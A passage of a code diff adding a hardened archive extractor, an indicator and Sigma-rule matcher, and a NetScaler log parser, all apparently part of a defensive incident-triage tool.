||||||
|
):
|
||||||
|
raise InputError("Non-portable reserved archive path")
|
||||||
|
return Path(*p.parts)
|
||||||
|
|
||||||
|
|
||||||
|
def extract_archive(
|
||||||
|
source: Path,
|
||||||
|
destination: Path,
|
||||||
|
max_bytes: int = 2147483648,
|
||||||
|
max_files: int = 100000,
|
||||||
|
max_depth: int = 3,
|
||||||
|
*,
|
||||||
|
password: str | None = None,
|
||||||
|
) -> list[ArchiveEntry]:
|
||||||
|
"""Extract 7z/ZIP/TAR recursively; gzip logs remain intact. Destination must be new.
|
||||||
|
|
||||||
|
Quotas apply across all nested archives and to bytes actually written. On error
|
||||||
|
only the newly created destination is removed. Returned inventory is relative.
|
||||||
|
The optional password also applies to nested archives, is never returned,
|
||||||
|
and is encoded as UTF-8 for ZIP encryption. ZIP supports ZipCrypto and AES.
|
||||||
|
"""
|
||||||
|
source, destination = Path(source), Path(destination)
|
||||||
|
if (
|
||||||
|
source.is_symlink()
|
||||||
|
or not source.is_file()
|
||||||
|
or min(max_bytes, max_files) < 1
|
||||||
|
or max_depth < 0
|
||||||
|
):
|
||||||
|
raise InputError("Invalid archive input or limits")
|
||||||
|
if any(p.is_symlink() for p in (destination, *destination.parents)):
|
||||||
|
raise InputError("Destination contains a symbolic link")
|
||||||
|
destination.mkdir(parents=False, exist_ok=False)
|
||||||
|
budget = {"bytes": 0, "files": 0, "entries": 0}
|
||||||
|
provenance: list[ArchiveProvenance] = []
|
||||||
|
|
||||||
|
class Sink(io.BufferedIOBase, Py7zIO):
|
||||||
|
def __init__(self, path: Path) -> None:
|
||||||
|
path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
self.handle = path.open("x+b")
|
||||||
|
self.length = 0
|
||||||
|
budget["files"] += 1
|
||||||
|
if budget["files"] > max_files:
|
||||||
|
self.handle.close()
|
||||||
|
raise InputError("File count limit exceeded")
|
||||||
|
|
||||||
|
def write(self, data: Buffer) -> int:
|
||||||
|
if self.handle.tell() != self.length:
|
||||||
|
raise InputError("Archive requests overwriting previously extracted data")
|
||||||
|
budget["bytes"] += memoryview(data).nbytes
|
||||||
|
if budget["bytes"] > max_bytes:
|
||||||
|
raise InputError("Extraction size limit exceeded")
|
||||||
|
written = self.handle.write(data)
|
||||||
|
self.length += written
|
||||||
|
return written
|
||||||
|
|
||||||
|
def read(self, size: int | None = None) -> bytes:
|
||||||
|
return self.handle.read(65536 if size is None or size < 0 else min(size, 65536))
|
||||||
|
|
||||||
|
def seek(self, offset: int, whence: int = 0) -> int:
|
||||||
|
target = offset + (
|
||||||
|
self.handle.tell() if whence == 1 else self.length if whence == 2 else 0
|
||||||
|
)
|
||||||
|
if whence not in (0, 1, 2) or not 0 <= target <= self.length:
|
||||||
|
raise InputError("Archive requests an invalid write offset")
|
||||||
|
return self.handle.seek(target)
|
||||||
|
|
||||||
|
def flush(self) -> None:
|
||||||
|
if not self.handle.closed:
|
||||||
|
self.handle.flush()
|
||||||
|
|
||||||
|
def size(self) -> int:
|
||||||
|
return self.length
|
||||||
|
|
||||||
|
def close(self) -> None:
|
||||||
|
self.handle.close()
|
||||||
|
|
||||||
|
def unpack(archive: Path, folder: Path, depth: int) -> None:
|
||||||
|
if depth > max_depth:
|
||||||
|
raise InputError("Archive nesting depth exceeded")
|
||||||
|
with archive.open("rb") as handle:
|
||||||
|
archive_hash = hashlib.file_digest(handle, "sha256").hexdigest()
|
||||||
|
provenance.append(
|
||||||
|
{
|
||||||
|
"archive": source.name
|
||||||
|
if archive == source
|
||||||
|
else archive.relative_to(destination).as_posix(),
|
||||||
|
"sha256": archive_hash,
|
||||||
|
"depth": depth,
|
||||||
|
}
|
||||||
|
)
|
||||||
|
written: list[Path] = []
|
||||||
|
|
||||||
|
def target(name: str, is_dir: bool = False) -> Path:
|
||||||
|
path = folder / _member(name)
|
||||||
|
if is_dir:
|
||||||
|
path.mkdir(parents=True, exist_ok=True)
|
||||||
|
else:
|
||||||
|
written.append(path)
|
||||||
|
return path
|
||||||
|
|
||||||
|
if zipfile.is_zipfile(archive):
|
||||||
|
with zipfile.ZipFile(archive) as probe:
|
||||||
|
aes = any(info.compress_type == 99 for info in probe.infolist())
|
||||||
|
zip_class: type[zipfile.ZipFile] | type[pyzipper.AESZipFile] = zipfile.ZipFile
|
||||||
|
if aes:
|
||||||
|
import pyzipper
|
||||||
|
|
||||||
|
zip_class = pyzipper.AESZipFile
|
||||||
|
with zip_class(archive) as z:
|
||||||
|
members = z.infolist()
|
||||||
|
budget["entries"] += len(members)
|
||||||
|
if budget["entries"] > max_files:
|
||||||
|
raise InputError("Too many archive entries")
|
||||||
|
for info in members:
|
||||||
|
mode = info.external_attr >> 16
|
||||||
|
if stat.S_ISLNK(mode) or (
|
||||||
|
stat.S_IFMT(mode) and not (stat.S_ISREG(mode) or stat.S_ISDIR(mode))
|
||||||
|
):
|
||||||
|
raise InputError("Link or special file found in archive")
|
||||||
|
path = target(info.filename, info.is_dir())
|
||||||
|
if not info.is_dir():
|
||||||
|
with (
|
||||||
|
z.open(
|
||||||
|
info, pwd=password.encode("utf-8") if password is not None else None
|
||||||
|
) as src,
|
||||||
|
Sink(path) as dst,
|
||||||
|
):
|
||||||
|
shutil.copyfileobj(src, dst, 65536)
|
||||||
|
elif archive.suffix.lower() == ".7z":
|
||||||
|
import py7zr
|
||||||
|
from py7zr.io import WriterFactory
|
||||||
|
|
||||||
|
sinks: list[Sink] = []
|
||||||
|
|
||||||
|
class Factory(WriterFactory):
|
||||||
|
def create(self, filename: str) -> Py7zIO:
|
||||||
|
sink = Sink(target(filename))
|
||||||
|
sinks.append(sink)
|
||||||
|
return sink
|
||||||
|
|
||||||
|
try:
|
||||||
|
# File objects make py7zr extraction sequential, keeping global quotas atomic.
|
||||||
|
with (
|
||||||
|
archive.open("rb") as archive_stream,
|
||||||
|
py7zr.SevenZipFile(archive_stream, "r", password=password) as z,
|
||||||
|
):
|
||||||
|
budget["entries"] += len(z.files)
|
||||||
|
if budget["entries"] > max_files:
|
||||||
|
raise InputError("Too many archive entries")
|
||||||
|
for item in z.files:
|
||||||
|
_member(item.filename)
|
||||||
|
if (
|
||||||
|
item.is_symlink
|
||||||
|
or getattr(item, "is_junction", False)
|
||||||
|
or getattr(item, "is_socket", False)
|
||||||
|
):
|
||||||
|
raise InputError("Link or special file found in archive")
|
||||||
|
if item.is_directory:
|
||||||
|
target(item.filename, True)
|
||||||
|
z.extractall(factory=Factory())
|
||||||
|
finally:
|
||||||
|
for sink in sinks:
|
||||||
|
sink.close()
|
||||||
|
elif tarfile.is_tarfile(archive):
|
||||||
|
with tarfile.open(archive) as tar_archive:
|
||||||
|
for tar_info in tar_archive:
|
||||||
|
budget["entries"] += 1
|
||||||
|
if budget["entries"] > max_files or not (tar_info.isdir() or tar_info.isfile()):
|
||||||
|
raise InputError("Unsupported TAR entry")
|
||||||
|
path = target(tar_info.name, tar_info.isdir())
|
||||||
|
if tar_info.isfile():
|
||||||
|
member_stream = tar_archive.extractfile(tar_info)
|
||||||
|
if member_stream is None:
|
||||||
|
raise ArchiveError("TAR file contents unavailable")
|
||||||
|
with member_stream as tar_source, Sink(path) as dst:
|
||||||
|
shutil.copyfileobj(tar_source, dst, 65536)
|
||||||
|
else:
|
||||||
|
raise ArchiveError("Unknown or damaged archive format")
|
||||||
|
for path in written:
|
||||||
|
if path.name.lower().endswith((".7z", ".zip", ".tar", ".tar.gz", ".tgz")):
|
||||||
|
nested = path.with_name(path.name + ".extracted")
|
||||||
|
nested.mkdir(exist_ok=False)
|
||||||
|
unpack(path, nested, depth + 1)
|
||||||
|
|
||||||
|
try:
|
||||||
|
unpack(source, destination, 0)
|
||||||
|
items = inventory(destination)
|
||||||
|
if any(item.get("error") for item in items):
|
||||||
|
raise InputError("Extracted evidence could not be fully verified")
|
||||||
|
return [{**item, "archives": provenance} for item in items]
|
||||||
|
except BaseException as exc:
|
||||||
|
shutil.rmtree(destination)
|
||||||
|
if isinstance(exc, Exception) and not isinstance(exc, InputError):
|
||||||
|
raise ArchiveError(
|
||||||
|
"Archive extraction failed: missing or incorrect password, damaged archive, "
|
||||||
|
"or unsupported encryption"
|
||||||
|
) from None
|
||||||
|
raise
|
||||||
@@ -0,0 +1,254 @@
|
|||||||
|
"""Configurable, bounded regular-expression and literal matching."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import ipaddress
|
||||||
|
import json
|
||||||
|
import math
|
||||||
|
from collections.abc import Mapping, Sequence
|
||||||
|
from importlib.resources import files
|
||||||
|
from typing import Any
|
||||||
|
from urllib.parse import urlsplit
|
||||||
|
|
||||||
|
import regex
|
||||||
|
|
||||||
|
from .config_loading import load_config as load_config
|
||||||
|
from .sigma_rules import SigmaMatcher
|
||||||
|
|
||||||
|
|
||||||
|
def public_config() -> dict[str, Any]:
|
||||||
|
"""Load bundled public references offline, including their source metadata."""
|
||||||
|
resource = files("netscaler_triage").joinpath("data", "threat_intel.json")
|
||||||
|
data = json.loads(resource.read_text(encoding="utf-8"))
|
||||||
|
if not isinstance(data, dict):
|
||||||
|
raise ValueError("Bundled public configuration must be an object")
|
||||||
|
return data
|
||||||
|
|
||||||
|
|
||||||
|
def _literal_matches(text: str, start: int, value: str, kind: str) -> bool:
|
||||||
|
end = start + len(value)
|
||||||
|
before = text[start - 1 : start] if start else ""
|
||||||
|
after = text[end : end + 1]
|
||||||
|
actual = text[start:end]
|
||||||
|
if kind in {"ip", "ipv4", "ipv6"}:
|
||||||
|
forbidden = "0123456789." if ":" not in value else "0123456789abcdefABCDEF:."
|
||||||
|
return not any(c and (c.isalnum() or c in forbidden + "_") for c in (before, after))
|
||||||
|
if kind in {"sha256", "sha1", "md5"}:
|
||||||
|
return not any(c and (c.isalnum() or c == "_") for c in (before, after))
|
||||||
|
if kind == "domain":
|
||||||
|
return not (before and (before.isalnum() or before in "_-")) and not (
|
||||||
|
after and (after.isalnum() or after in "_.-")
|
||||||
|
)
|
||||||
|
if kind == "path":
|
||||||
|
if actual != value:
|
||||||
|
return False
|
||||||
|
# A root-relative artifact also occurs after the authority in a full URL.
|
||||||
|
if (
|
||||||
|
before
|
||||||
|
and (before.isalnum() or before in "_.-" or (before == "/" and value.startswith("/")))
|
||||||
|
and (
|
||||||
|
not value.startswith("/")
|
||||||
|
or not regex.search(
|
||||||
|
r"https?://[^/\s]+$", text[max(0, start - 4096) : start], regex.I
|
||||||
|
)
|
||||||
|
)
|
||||||
|
):
|
||||||
|
return False
|
||||||
|
return value.endswith("/") or not (after and (after.isalnum() or after in "_.-/\\%+"))
|
||||||
|
if kind == "url":
|
||||||
|
expected, observed = urlsplit(value), urlsplit(actual)
|
||||||
|
if (expected.scheme.casefold(), expected.netloc.casefold()) != (
|
||||||
|
observed.scheme.casefold(),
|
||||||
|
observed.netloc.casefold(),
|
||||||
|
) or (expected.path, expected.query, expected.fragment) != (
|
||||||
|
observed.path,
|
||||||
|
observed.query,
|
||||||
|
observed.fragment,
|
||||||
|
):
|
||||||
|
return False
|
||||||
|
return not (before and (before.isalnum() or before in "_+.-")) and not (
|
||||||
|
after and (after.isalnum() or after in "_.-/%?&=+#")
|
||||||
|
)
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
class Matcher:
|
||||||
|
"""Raise timeouts so callers can record incomplete matching explicitly."""
|
||||||
|
|
||||||
|
def __init__(
|
||||||
|
self, configs: list[dict[str, Any]], timeout: float = 0.05, defaults: bool = True
|
||||||
|
) -> None:
|
||||||
|
if not math.isfinite(timeout) or timeout <= 0:
|
||||||
|
raise ValueError("Regex timeout must be positive")
|
||||||
|
self.timeout = timeout
|
||||||
|
patterns: list[dict[str, Any]] = []
|
||||||
|
self.indicators: list[dict[str, Any]] = []
|
||||||
|
self.sigma_matchers: list[SigmaMatcher] = []
|
||||||
|
self.configs = list(configs)
|
||||||
|
if defaults:
|
||||||
|
public = public_config()
|
||||||
|
rules = files("netscaler_triage").joinpath("data", "public_sigma.yml").read_text()
|
||||||
|
self.configs = [
|
||||||
|
{
|
||||||
|
**public,
|
||||||
|
"patterns": [],
|
||||||
|
"sigma_rules": [{"source": "public_sigma.yml", "yaml": rules}],
|
||||||
|
}
|
||||||
|
] + [config for config in configs if config != public]
|
||||||
|
identifiers: set[str] = set()
|
||||||
|
for config in self.configs:
|
||||||
|
for section in ("patterns", "indicators", "sigma_rules"):
|
||||||
|
rows = config.get(section, [])
|
||||||
|
if not isinstance(rows, list) or any(not isinstance(row, dict) for row in rows):
|
||||||
|
raise ValueError(f"Rule pack {section} must be a list of objects")
|
||||||
|
patterns.extend(config.get("patterns", []))
|
||||||
|
self.indicators.extend(config.get("indicators", []))
|
||||||
|
for pack in config.get("sigma_rules", []):
|
||||||
|
sigma_matcher = SigmaMatcher.from_yaml(
|
||||||
|
pack["yaml"], timeout=timeout, source=pack.get("source", "")
|
||||||
|
)
|
||||||
|
for rule in sigma_matcher.rules:
|
||||||
|
if rule.identifier in identifiers:
|
||||||
|
raise ValueError(
|
||||||
|
f"Duplicate rule identifier across packs: {rule.identifier}"
|
||||||
|
)
|
||||||
|
identifiers.add(rule.identifier)
|
||||||
|
self.sigma_matchers.append(sigma_matcher)
|
||||||
|
# Sigma catalog metadata must not bypass its detection conditions.
|
||||||
|
self.indicators = list(
|
||||||
|
{json.dumps(row, sort_keys=True): row for row in self.indicators}.values()
|
||||||
|
)
|
||||||
|
self.rules: list[tuple[str, regex.Pattern[str]]] = []
|
||||||
|
self.rule_metadata: list[list[dict[str, Any]]] = []
|
||||||
|
seen_rules: dict[tuple[str, str], int] = {}
|
||||||
|
|
||||||
|
def add_rule(name: str, pattern: str, row: dict[str, Any]) -> None:
|
||||||
|
identity = (name, pattern)
|
||||||
|
details: dict[str, Any] = {
|
||||||
|
"id": name,
|
||||||
|
"pattern": pattern,
|
||||||
|
**{
|
||||||
|
key: row[key]
|
||||||
|
for key in ("description", "source", "source_id", "sources")
|
||||||
|
if key in row
|
||||||
|
},
|
||||||
|
}
|
||||||
|
if identity not in seen_rules:
|
||||||
|
if name in identifiers:
|
||||||
|
raise ValueError(f"Conflicting rule identifier across packs: {name}")
|
||||||
|
seen_rules[identity] = len(self.rules)
|
||||||
|
self.rules.append((name, regex.compile(pattern)))
|
||||||
|
self.rule_metadata.append([])
|
||||||
|
metadata = self.rule_metadata[seen_rules[identity]]
|
||||||
|
if details not in metadata:
|
||||||
|
metadata.append(details)
|
||||||
|
|
||||||
|
for row in patterns:
|
||||||
|
pattern = row.get("pattern", row.get("regex"))
|
||||||
|
if not isinstance(pattern, str) or not pattern:
|
||||||
|
raise ValueError("Empty or invalid regex pattern")
|
||||||
|
add_rule(str(row.get("id", row.get("name", pattern))), pattern, row)
|
||||||
|
literal_groups: dict[str, list[dict[str, Any]]] = {}
|
||||||
|
for indicator in self.indicators:
|
||||||
|
value = indicator.get("value", "")
|
||||||
|
if not isinstance(value, str) or not value:
|
||||||
|
raise ValueError("Empty or invalid indicator")
|
||||||
|
kind = indicator.get("type", "literal")
|
||||||
|
if kind not in {
|
||||||
|
"ip",
|
||||||
|
"ipv4",
|
||||||
|
"ipv6",
|
||||||
|
"domain",
|
||||||
|
"url",
|
||||||
|
"path",
|
||||||
|
"sha256",
|
||||||
|
"sha1",
|
||||||
|
"md5",
|
||||||
|
"literal",
|
||||||
|
"regex",
|
||||||
|
}:
|
||||||
|
raise ValueError(f"Unsupported indicator type: {kind}")
|
||||||
|
if kind == "url":
|
||||||
|
parsed = urlsplit(value)
|
||||||
|
if not parsed.scheme or not parsed.netloc:
|
||||||
|
raise ValueError(f"Invalid URL indicator: {value}")
|
||||||
|
if kind in {"ip", "ipv4", "ipv6"}:
|
||||||
|
address = ipaddress.ip_address(value)
|
||||||
|
if kind != "ip" and kind != f"ipv{address.version}":
|
||||||
|
raise ValueError(f"Address family does not match indicator type: {value}")
|
||||||
|
if kind in {"sha256", "sha1", "md5"} and not regex.fullmatch(
|
||||||
|
rf"[0-9a-fA-F]{{{ {'sha256': 64, 'sha1': 40, 'md5': 32}[kind] }}}", value
|
||||||
|
):
|
||||||
|
raise ValueError(f"Invalid {kind} indicator: {value}")
|
||||||
|
if kind == "regex":
|
||||||
|
add_rule(value, value, indicator)
|
||||||
|
continue
|
||||||
|
literal_groups.setdefault(value.casefold(), []).append(indicator)
|
||||||
|
self.literal_groups = literal_groups
|
||||||
|
# Preserve shorter indicators at the same start as the longest regex alternative.
|
||||||
|
self.literal_prefixes: dict[str, tuple[str, ...]] = {}
|
||||||
|
parents: list[str] = []
|
||||||
|
for value in sorted(literal_groups):
|
||||||
|
while parents and not value.startswith(parents[-1]):
|
||||||
|
parents.pop()
|
||||||
|
parents.append(value)
|
||||||
|
self.literal_prefixes[value] = tuple(parents)
|
||||||
|
# One compiled alternation avoids one scan per IOC per log record.
|
||||||
|
self.literals = (
|
||||||
|
regex.compile(
|
||||||
|
"|".join(regex.escape(v) for v in sorted(literal_groups, key=len, reverse=True)),
|
||||||
|
regex.IGNORECASE,
|
||||||
|
)
|
||||||
|
if literal_groups
|
||||||
|
else None
|
||||||
|
)
|
||||||
|
|
||||||
|
def search(self, text: str) -> tuple[list[str], list[dict[str, Any]]]:
|
||||||
|
rules, hits, _ = self.search_with_details(text)
|
||||||
|
return rules, hits
|
||||||
|
|
||||||
|
def search_with_details(
|
||||||
|
self,
|
||||||
|
text: str,
|
||||||
|
*,
|
||||||
|
event: Mapping[str, Any] | None = None,
|
||||||
|
include_sigma: bool = True,
|
||||||
|
) -> tuple[list[str], list[dict[str, Any]], list[dict[str, Any]]]:
|
||||||
|
"""Return metadata only for regex rules that actually matched this text."""
|
||||||
|
details = [
|
||||||
|
detail.copy()
|
||||||
|
for (_, pattern), metadata in zip(self.rules, self.rule_metadata, strict=True)
|
||||||
|
if pattern.search(text, timeout=self.timeout)
|
||||||
|
for detail in metadata
|
||||||
|
]
|
||||||
|
rules = [row["id"] for row in details]
|
||||||
|
if include_sigma:
|
||||||
|
sigma_details = self.search_sigma(event if event is not None else {"raw": text})
|
||||||
|
details.extend(sigma_details)
|
||||||
|
rules.extend(str(row["id"]) for row in sigma_details)
|
||||||
|
hits: list[dict[str, Any]] = []
|
||||||
|
if self.literals:
|
||||||
|
for match in self.literals.finditer(text, timeout=self.timeout, overlapped=True):
|
||||||
|
for key in self.literal_prefixes.get(match.group().casefold(), ()):
|
||||||
|
hits.extend(
|
||||||
|
indicator
|
||||||
|
for indicator in self.literal_groups[key]
|
||||||
|
if _literal_matches(
|
||||||
|
text,
|
||||||
|
match.start(),
|
||||||
|
indicator["value"],
|
||||||
|
indicator.get("type", "literal"),
|
||||||
|
)
|
||||||
|
)
|
||||||
|
return list(dict.fromkeys(rules)), hits, details
|
||||||
|
|
||||||
|
def search_sigma(
|
||||||
|
self,
|
||||||
|
event: Mapping[str, Any],
|
||||||
|
decoded: Sequence[str] = (),
|
||||||
|
) -> list[dict[str, Any]]:
|
||||||
|
return [
|
||||||
|
hit
|
||||||
|
for matcher in self.sigma_matchers
|
||||||
|
for hit in matcher.search_with_details(event, decoded)
|
||||||
|
]
|
||||||
@@ -0,0 +1,197 @@
|
|||||||
|
"""Conservative NetScaler log classification and explicitly sourced UTC times."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import re
|
||||||
|
from collections.abc import Mapping
|
||||||
|
from datetime import UTC, datetime
|
||||||
|
from typing import Any
|
||||||
|
from zoneinfo import ZoneInfo
|
||||||
|
|
||||||
|
_ACCESS = re.compile(
|
||||||
|
r"^(?P<src>\S+)(?:\s+->\s+(?P<dest>\S+))? \S+ \S+ \[(?P<time>[^]]+)\]"
|
||||||
|
r'(?: \[\d+\])? "(?P<request>(?:\\.|[^"\\])*)" (?P<status>\d{3}) (?P<bytes>\d+|-)'
|
||||||
|
r'(?: "(?P<referer>(?:\\.|[^"\\])*)" "(?P<user_agent>(?:\\.|[^"\\])*)")?'
|
||||||
|
)
|
||||||
|
_SYSLOG = re.compile(
|
||||||
|
r"^(?P<time>[A-Z][a-z]{2}\s+\d{1,2} \d{2}:\d{2}:\d{2})\s+"
|
||||||
|
r"(?:<[^>]+>\s+)?(?P<host>\S+)\s+(?P<body>.*)"
|
||||||
|
)
|
||||||
|
_ISO = re.compile(r"\b\d{4}-\d{2}-\d{2}[T ]\d{2}:\d{2}:\d{2}(?:\.\d+)?(?:Z|[+-]\d{2}:?\d{2})?")
|
||||||
|
_GMT = re.compile(r"\b\d{2}/\d{2}/\d{4}:\d{2}:\d{2}:\d{2} GMT\b")
|
||||||
|
_FULL = re.compile(
|
||||||
|
r"\b(?:Mon|Tue|Wed|Thu|Fri|Sat|Sun)\s+[A-Z][a-z]{2}\s+\d{1,2}\s+\d{2}:\d{2}:\d{2}(?:\.\d+)?(?:\s+(?:UTC|GMT))?\s+\d{4}\b"
|
||||||
|
)
|
||||||
|
_VERSION = re.compile(
|
||||||
|
r"(?i)\b(?:NS|NetScaler\s+NS)?"
|
||||||
|
r"(?P<version>\d{1,2}\.\d{1,2}[- ](?:Build\s+)?\d+\.\d+(?:\.\d+)?)\b"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def parse_record(
|
||||||
|
record: Mapping[str, Any], timezone: str | None = None, year: int | None = None
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
result: dict[str, Any] = {
|
||||||
|
**record,
|
||||||
|
"kind": "unknown",
|
||||||
|
"time_original": None,
|
||||||
|
"timestamp": None,
|
||||||
|
"time_basis": "unknown",
|
||||||
|
"fields": {},
|
||||||
|
"warnings": list(record.get("warnings", [])),
|
||||||
|
"categories": [],
|
||||||
|
}
|
||||||
|
text = record.get("raw", "")
|
||||||
|
fields = result["fields"]
|
||||||
|
for key, pattern in {
|
||||||
|
"source_ip": r"\b(?:Client_ip|Remote_ip|ClientIP)\s+([0-9a-fA-F:.]+)",
|
||||||
|
"request_id": r"(?i)\b(?:request[_ -]?id)\s*[:=]\s*([\w.-]+)",
|
||||||
|
"session_id": r"(?i)\b(?:session[-_ ]?id)\s*[:=]\s*([\w.-]+)",
|
||||||
|
"transaction_id": r'(?i)\b(?:trans(?:action)?[-_ ]?id)(?:\s*[:=]\s*|\s+)"?([\w.-]+)',
|
||||||
|
"context": r'(?i)\bcontext(?:\s*[:=]\s*|\s+)"?([^\s",;]+)',
|
||||||
|
"return_code": r'(?i)\breturn_code\s*[:=]\s*"?(-?\d+)',
|
||||||
|
"command_status": r'(?i)\bCMD_EXECUTED\b.*?\bStatus(?:\s*[:=]\s*|\s+)"?([^\s"]+)',
|
||||||
|
}.items():
|
||||||
|
found = re.search(pattern, text)
|
||||||
|
if found:
|
||||||
|
fields[key] = found[1]
|
||||||
|
timestamp = None
|
||||||
|
match = _ACCESS.match(text)
|
||||||
|
try:
|
||||||
|
if match:
|
||||||
|
result["kind"] = "http_access"
|
||||||
|
fields.update(
|
||||||
|
{k: v for k, v in match.groupdict().items() if k != "time" and v is not None}
|
||||||
|
)
|
||||||
|
pieces = fields["request"].split(" ", 2)
|
||||||
|
if len(pieces) == 3:
|
||||||
|
fields.update(zip(("method", "uri", "protocol"), pieces, strict=True))
|
||||||
|
fields["status"] = int(fields["status"])
|
||||||
|
result["time_original"] = match["time"]
|
||||||
|
timestamp = datetime.strptime(match["time"], "%d/%b/%Y:%H:%M:%S %z")
|
||||||
|
result["time_basis"] = "explicit_offset"
|
||||||
|
else:
|
||||||
|
syslog = _SYSLOG.match(text)
|
||||||
|
if syslog:
|
||||||
|
result["kind"] = "syslog"
|
||||||
|
fields["host"] = syslog["host"]
|
||||||
|
process = re.match(r"(?P<process>[\w.-]+)(?:\[(?P<pid>\d+)\])?:", syslog["body"])
|
||||||
|
if process:
|
||||||
|
fields.update({k: v for k, v in process.groupdict().items() if v})
|
||||||
|
if process["process"] in {"bash", "sh"}:
|
||||||
|
result["kind"] = "shell_log"
|
||||||
|
elif re.match(r"^\[[A-Z][a-z]{2} [A-Z][a-z]{2}\s+\d", text):
|
||||||
|
result["kind"] = "http_error"
|
||||||
|
client = re.search(r"\[client ([^]]+)\]", text)
|
||||||
|
if client:
|
||||||
|
fields["client"] = client[1]
|
||||||
|
# A date inside a request or shell payload is untrusted event content.
|
||||||
|
# Only use the leading timestamp or native NetScaler GMT envelope.
|
||||||
|
gmt = (
|
||||||
|
_GMT.search(text[:180])
|
||||||
|
if syslog and re.match(r"\d{2}/\d{2}/\d{4}:", syslog["body"])
|
||||||
|
else None
|
||||||
|
)
|
||||||
|
full = _FULL.search(text[:110]) if not syslog else None
|
||||||
|
iso = _ISO.match(text)
|
||||||
|
if gmt:
|
||||||
|
result["time_original"] = gmt[0]
|
||||||
|
timestamp = datetime.strptime(gmt[0], "%m/%d/%Y:%H:%M:%S GMT").replace(tzinfo=UTC)
|
||||||
|
result["time_basis"] = "explicit_GMT"
|
||||||
|
elif iso:
|
||||||
|
result["time_original"] = iso[0]
|
||||||
|
timestamp = datetime.fromisoformat(iso[0])
|
||||||
|
result["time_basis"] = "explicit_offset" if timestamp.tzinfo else "explicit_year"
|
||||||
|
if result["kind"] == "unknown":
|
||||||
|
result["kind"] = "timestamped"
|
||||||
|
elif full:
|
||||||
|
result["time_original"] = full[0]
|
||||||
|
clean = re.sub(r"\.\d+", "", full[0])
|
||||||
|
has_utc = bool(re.search(r"\b(?:UTC|GMT)\b", clean))
|
||||||
|
clean = re.sub(r"\s+(?:UTC|GMT)\b", "", clean)
|
||||||
|
timestamp = datetime.strptime(clean, "%a %b %d %H:%M:%S %Y")
|
||||||
|
if has_utc:
|
||||||
|
timestamp = timestamp.replace(tzinfo=UTC)
|
||||||
|
result["time_basis"] = "explicit_GMT" if has_utc else "explicit_year"
|
||||||
|
elif syslog:
|
||||||
|
result["time_original"] = syslog["time"]
|
||||||
|
if year is not None:
|
||||||
|
timestamp = datetime.strptime(f"{year} {syslog['time']}", "%Y %b %d %H:%M:%S")
|
||||||
|
result["time_basis"] = "configured_year"
|
||||||
|
result["warnings"].append(
|
||||||
|
"Year supplied by configuration; year rollover is not resolved "
|
||||||
|
"automatically"
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
result["warnings"].append("Missing year; UTC timestamp not calculated")
|
||||||
|
if timestamp is not None and timestamp.tzinfo is None:
|
||||||
|
if timezone:
|
||||||
|
zone = ZoneInfo(timezone)
|
||||||
|
first, second = (
|
||||||
|
timestamp.replace(tzinfo=zone, fold=0),
|
||||||
|
timestamp.replace(tzinfo=zone, fold=1),
|
||||||
|
)
|
||||||
|
if first.utcoffset() != second.utcoffset():
|
||||||
|
result["warnings"].append(
|
||||||
|
"Ambiguous or nonexistent local time; UTC timestamp not calculated"
|
||||||
|
)
|
||||||
|
timestamp = None
|
||||||
|
else:
|
||||||
|
timestamp = first
|
||||||
|
result["time_basis"] += "+configured_timezone"
|
||||||
|
else:
|
||||||
|
result["warnings"].append("Missing time zone; UTC timestamp not calculated")
|
||||||
|
timestamp = None
|
||||||
|
if timestamp is not None:
|
||||||
|
result["timestamp"] = timestamp.astimezone(UTC).isoformat().replace("+00:00", "Z")
|
||||||
|
except ValueError, OverflowError:
|
||||||
|
result["warnings"].append("Invalid timestamp; UTC timestamp not calculated")
|
||||||
|
|
||||||
|
# HTTP content is never classified as an actual appliance update.
|
||||||
|
trusted_update_context = (
|
||||||
|
fields.get("process") in {"nssetup", "installns", "bash", "sh", "kernel", "init", "reboot"}
|
||||||
|
or text.startswith("COLLECTOR::")
|
||||||
|
or bool(re.match(r"NSVERSION\s*[:=]", text))
|
||||||
|
)
|
||||||
|
if result["kind"] not in {"http_access", "http_error"} and trusted_update_context:
|
||||||
|
patterns = {
|
||||||
|
"update": r"(?i)\b(?:installns|nssetup|firmware|upgrad(?:e|ing|ed))\b",
|
||||||
|
"upgrade": r"(?i)\b(?:upgrad(?:e|ing|ed)|installns)\b",
|
||||||
|
"boot": (
|
||||||
|
r"(?i)\b(?:rebooting|rebooted|restarting|system boot|kernel boot|"
|
||||||
|
r"last reboot|restart detected)\b"
|
||||||
|
),
|
||||||
|
"version": (
|
||||||
|
r"(?i)(?:NSVERSION|current version|previous version|old version|new version|"
|
||||||
|
r"successfully loaded configuration\(NS|NetScaler (?:NS|version)|from version NS)"
|
||||||
|
),
|
||||||
|
}
|
||||||
|
for category, pattern in patterns.items():
|
||||||
|
if re.search(pattern, text):
|
||||||
|
result["categories"].append(category)
|
||||||
|
if result["categories"]:
|
||||||
|
fields["versions"] = list(dict.fromkeys(m["version"] for m in _VERSION.finditer(text)))
|
||||||
|
for release, build in re.findall(r"(?i)\bNS(\d+\.\d+),?\s+build\s+(\d+\.\d+)", text):
|
||||||
|
version = release + "-" + build
|
||||||
|
if version not in fields["versions"]:
|
||||||
|
fields["versions"].append(version)
|
||||||
|
fields["builds"] = list(dict.fromkeys(re.findall(r"(?i)\bbuild\s+(\d+\.\d+)", text)))
|
||||||
|
if re.search(r"(?i)\bupgrade from\b", text):
|
||||||
|
fields["update_relation"] = "explicit_upgrade_from_to"
|
||||||
|
elif re.search(r"(?i)configuration file.*from version", text):
|
||||||
|
fields["update_relation"] = "previous_configuration_version"
|
||||||
|
elif re.search(r"(?i)this is NetScaler version", text):
|
||||||
|
fields["update_relation"] = "running_version"
|
||||||
|
fields["update_evidence"] = (
|
||||||
|
"installer_invocation"
|
||||||
|
if re.search(r"(?i)\binstallns\b", text)
|
||||||
|
else "boot_message"
|
||||||
|
if "boot" in result["categories"]
|
||||||
|
else "version_observation"
|
||||||
|
if "version" in result["categories"]
|
||||||
|
else "update_message"
|
||||||
|
)
|
||||||
|
result["warnings"].append(
|
||||||
|
"An update indicator alone does not establish that installation completed"
|
||||||
|
)
|
||||||
|
return result
|
||||||
